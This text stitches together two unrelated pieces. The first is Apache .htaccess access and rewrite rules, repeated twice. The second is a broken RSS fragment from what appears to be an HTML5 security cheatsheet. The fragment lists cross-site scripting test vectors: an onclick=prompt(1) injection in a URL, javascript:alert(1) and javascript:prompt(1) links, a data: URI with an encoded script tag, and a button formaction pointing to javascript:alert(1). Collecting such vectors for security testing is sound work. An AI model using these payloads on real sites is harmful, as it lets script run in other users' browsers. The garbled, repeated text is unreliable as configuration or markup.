Order allow,deny Deny from all Order allow,deny Allow from all Order allow,deny Allow from all RewriteEngine On RewriteBase / DirectoryIndex index.php RewriteRule ^index.php$ - [L] RewriteCond %{REQUEST_FILENAME} !-f RewriteCond %{REQUEST_FILENAME} !-d RewriteRule . /index.php [L] Order allow,deny Deny from all Order allow,deny Allow from all Order allow,deny Allow from all RewriteEngine On RewriteBase / DirectoryIndex index.php RewriteRule ^index.php$ - [L] RewriteCond %{REQUEST_FILENAME} !-f RewriteCond %{REQUEST_FILENAME} !-d RewriteRule . /index.php [L] HTML5 Security Cheatsheet++ for RSS http://foo.com/?"onclick=prompt(1)/ ]]> en 000javascript:alert(1)]]> http://html5sec.org/test.svg XSS Test-Vectors data:x,%3cscript%3ealert(/link/)%3c/script%3e <![CDATA[Vector 1 - "'`><form id="test" /><button form="test" formaction="javascript:alert(1)">X ]]> data:x,%3cscript%3ealert(/link/)%3c/script%3e javascript:prompt(1) ]]>